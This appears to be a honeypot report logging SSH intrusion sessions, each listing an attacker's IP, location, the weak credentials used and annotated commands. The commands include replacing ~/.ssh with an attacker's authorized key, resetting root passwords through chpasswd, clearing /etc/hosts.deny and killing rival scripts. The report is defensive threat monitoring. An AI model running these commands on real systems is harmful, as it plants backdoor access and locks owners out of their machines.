2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null

$ /bin/uname -s -v -n -m 2 > /dev/null

$ /usr/bin/uname -s -v -n -m 2 > /dev/null

$ busybox uname -s -v -n -m 2 > /dev/null

$ ( [ -f /proc/version ]

$ [ -f /proc/version ]

$ head -1 /proc/version | cut -d -f1

$ [ -f /etc/os-release ]

🎭 windmill_sol_6 (45.156.87.93) — Eygelshoven, The Netherlands · 2 sessions · 2 cmds

2026-07-06 00:28 EDT · as test/qwerty123, ubuntu/1qaz@WSX

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 shadow_root_13 (154.116.254.157) — Luanda, Angola · 4 sessions · 77 cmds

2026-07-01 15:51 EDT · as postgres/123456789, root/Admin!@#, root/Xl123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo "root:VApjs1E11QlF"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo "root:2j0Uhq0iJsX6"|chpasswd|bash

$ echo -e "123456789\nCh3ktW36NqOX\nCh3ktW36NqOX"|passwd|bash

$ Enter new UNIX password:

$ echo "123456789\nCh3ktW36NqOX\nCh3ktW36NqOX\n"|passwd

$ echo "root:aqRl52qR5d6n"|chpasswd|bash

🎭 clog_sol_4 (45.156.87.13) — Amsterdam, The Netherlands · 2 sessions · 2 cmds

2026-07-05 22:20 EDT · as test/qwerty123, ubuntu/1qaz@WSX

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 phantom_root_20 (179.57.170.71) — Puerto Varas, Chile · 1 session · 20 cmds

2026-07-05 23:12 EDT · as ubuntu/1qaz@WSX

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1qaz@WSX\nMXREcU8SlTE4\nMXREcU8SlTE4"|passwd|bash

$ Enter new UNIX password:

$ echo "1qaz@WSX\nMXREcU8SlTE4\nMXREcU8SlTE4\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_37 (223.123.16.238) — Islamabad, Pakistan · 1 session · 12 cmds

2026-07-05 22:52 EDT · as root/root@1q2w3e4r

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ASVkp7IU11Vq"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

🎭 shadow_root_22 (151.59.121.42) — Livorno, Italy · 1 session · 19 cmds

2026-07-05 21:59 EDT · as root/!QAZ@wsx3edc

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:cPl6NQfaeAcT"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_2 (103.143.10.140) — Los Angeles, United States · 2 sessions · 40 cmds

2026-07-05 20:37 EDT · as cron/test, ftpuser/654321

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "654321\nqoCylftr3lIj\nqoCylftr3lIj"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "654321\nqoCylftr3lIj\nqoCylftr3lIj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "test\nKzuEcMfRz0Tm\nKzuEcMfRz0Tm"|passwd|bash

$ echo "test\nKzuEcMfRz0Tm\nKzuEcMfRz0Tm\n"|passwd

🎭 ghost_root_32 (152.32.250.188) — Ho Chi Minh City, Vietnam · 1 session · 19 cmds

2026-07-05 20:51 EDT · as ftpuser/654321

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "654321\n9Z1teTVKRnQv\n9Z1teTVKRnQv"|passwd|bash

$ Enter new UNIX password:

$ echo "654321\n9Z1teTVKRnQv\n9Z1teTVKRnQv\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

🎭 specter_root_21 (78.39.48.166) — Tehran, Iran · 2 sessions · 38 cmds

2026-07-05 20:01 EDT · as root/Ln@123456, root/p@ssw0rD

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:3i8zYgSS47Rf"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:UKgNSe2Qe35x"|chpasswd|bash

🎭 ghost_root_26 (42.96.20.16) — Hanoi, Vietnam · 2 sessions · 38 cmds

2026-07-05 19:59 EDT · as root/Ln@123456, root/p@ssw0rD

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:jpdmpDhycGPR"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:vuWvBpwSzLaf"|chpasswd|bash

🎭 tsar_root_5 (91.185.75.244) — Samara, Russia · 1 session · 19 cmds

2026-07-05 19:52 EDT · as root/Ln@123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dE40dIXzy2aS"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 panda_root_12 (101.126.55.95) — Chaowai, China · 1 session · 17 cmds

2026-07-05 19:22 EDT · as root/abcd123456

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:iUOEMeixEnZT"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 hanbok_root_3 (175.198.62.180) — Yangch'on-gu, South Korea · 2 sessions · 39 cmds

2026-07-05 17:34 EDT · as git/git2026, root/welcome@2026

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "git2026\nmlefDOASGW9R\nmlefDOASGW9R"|passwd|bash

$ Enter new UNIX password:

$ echo "git2026\nmlefDOASGW9R\nmlefDOASGW9R\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:py7hIZVxDtOp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 cipher_root_19 (102.88.137.213) — Lagos, Nigeria · 3 sessions · 58 cmds

2026-07-02 18:58 EDT · as git/git2026, root/Abcd123456!@#$%^, root/welcome@2026

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:vGEoipTJSBy3"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo -e "git2026\nw3Qaidfvho9W\nw3Qaidfvho9W"|passwd|bash

$ Enter new UNIX password:

$ echo "git2026\nw3Qaidfvho9W\nw3Qaidfvho9W\n"|passwd

$ echo "root:13DvR524yrXl"|chpasswd|bash

🎭 tiger_root_4 (68.233.116.124) — Hyderabad, India · 1 session · 20 cmds

2026-07-05 17:54 EDT · as git/git2026

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "git2026\nFyckQ1DKkfPG\nFyckQ1DKkfPG"|passwd|bash

$ Enter new UNIX password:

$ echo "git2026\nFyckQ1DKkfPG\nFyckQ1DKkfPG\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 capoeira_root_3 (102.211.152.138) — Fortaleza, Brazil · 2 sessions · 39 cmds

2026-07-05 17:47 EDT · as git/git2026, root/welcome@2026

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:7eVhFr1zCwP1"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

